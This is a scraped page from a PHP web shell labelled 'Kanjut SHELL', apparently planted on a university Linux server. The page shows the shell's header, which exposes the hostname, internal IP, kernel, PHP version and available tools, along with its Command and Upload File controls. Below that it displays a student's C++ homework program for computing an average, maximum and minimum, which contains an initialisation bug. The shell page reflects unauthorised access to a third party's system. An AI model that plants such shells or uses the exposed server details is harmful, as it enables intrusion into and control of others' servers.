Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.226.200.93
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/ndlutz/CS212/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/ndlutz/CS212/hw1b.cpp
#include <iostream>
#include <iomanip>

using namespace std;

const int M = 100;

void readin(int&, int&, int&, int&, int[]);
void maxi(int&, int[], int);
void mini(int&, int[], int);
float avg(int, int);

int main()
{

	int arr[M];
	int size = 0;
 	int total = 0;
        int max,min;
	
	readin(size, total, max, min, arr);
	
	cout<<"This is the average: "<<avg(total,size)<<endl;
	cout<<"This is the largest number: "<<max<<endl;
	cout<<"This is the smallest number: "<<min<<endl;

	return 0;
}

void readin(int& size, int& total, int& max, int& min, int arr[])
{	
	cout << "Enter numbers to average, negative to quit." <<endl;
	cin >> arr[size];
	max,min = arr[size];

	while ( arr[size] > 0 )
	{
		maxi(max, arr, size);
		mini(min, arr, size);
	        total = total + arr[size];
		size ++;
		cin>> arr[size];
	}

}


void maxi(int& max, int arr[], int size)
{
	 if ( max < arr[size])
  		max = arr[size];
}

void mini(int& min, int arr[], int size)
{
	 if ( min > arr[size])
                min = arr[size];
}

float avg(int total, int size)
{
	float total1 = total;
	
	return total1/size; 
}



Stv3n404 - 2023